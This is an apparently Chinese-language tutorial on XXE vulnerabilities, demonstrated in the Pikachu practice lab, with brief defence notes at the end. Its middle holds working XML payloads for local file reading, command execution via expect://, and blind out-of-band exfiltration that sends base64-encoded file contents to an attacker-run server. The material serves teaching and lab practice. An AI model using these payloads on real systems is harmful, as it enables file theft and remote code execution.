web漏洞-XXE漏洞
文章目录
前言
介绍xxe漏洞原理,防御。xxe漏洞案例演示。思维导图来源:https://www.yuque.com/weiker/xiaodi/uug460。
![](https://github.com/kouyou-momiji/easyimage-image/blob/master/20210503170434-3_1.png?raw=true)
前置知识
看一下别人的文章XXE漏洞详解——基础篇,XXE漏洞详解——进阶篇,我这边就不抄过来了。
xxe漏洞原理
xxe漏洞的原理是代码开启了外部实体引用但是却没有做好过滤,导致攻击者能够构建恶意xml语句达到攻击目的。
演示案例
pikachu靶场xml
文件读取
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>
![](https://github.com/kouyou-momiji/easyimage-image/blob/master/image-20221117105600634-3.png?raw=true)
内网探测
RCE-远程代码执行
php环境需要安装expect扩展,我这边用的phpstudy集成环境,没看到这个扩展,故未验证。
<?xml version = "1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://192.168.31.210:8088/evil2.dtd">
%file;
]>
<x>&send;</x>
//下面的是写入文件的
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">
// evil2.dtd
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>
无回显利用
原理是自己本地搭建一个网站,xxe漏洞让目标网站带着读取到的数据访问我们的网站,然后我们再在本地日志查看数据即可。
<?xml version = "1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
<!ENTITY % dtd SYSTEM "http://192.168.31.210:8088/test.dtd">
%dtd;
%send;
]>
//test.dtd,这里的%是%的编码,因为dtd中不能有%
<!ENTITY % payload
"<!ENTITY % send SYSTEM
'http://192.168.31.210:8088/?data=%file;'>"
>
%payload;
![](https://github.com/kouyou-momiji/easyimage-image/blob/master/image-20221117111815381-3.png?raw=true)
![](https://github.com/kouyou-momiji/easyimage-image/blob/master/image-20221117112033175-3.png?raw=true)
![](https://github.com/kouyou-momiji/easyimage-image/blob/master/image-20221117112105833-3.png?raw=true)
![](https://github.com/kouyou-momiji/easyimage-image/blob/master/image-20221117112240258-3.png?raw=true)
xxe漏洞防御方法
禁用外部实体引用
过滤关键字
WAF产品
绕过方法
参考[https://www.cnblogs.com/20175211lyz/p/11413335.html(https://www.cnblogs.com/20175211lyz/p/11413335.html)。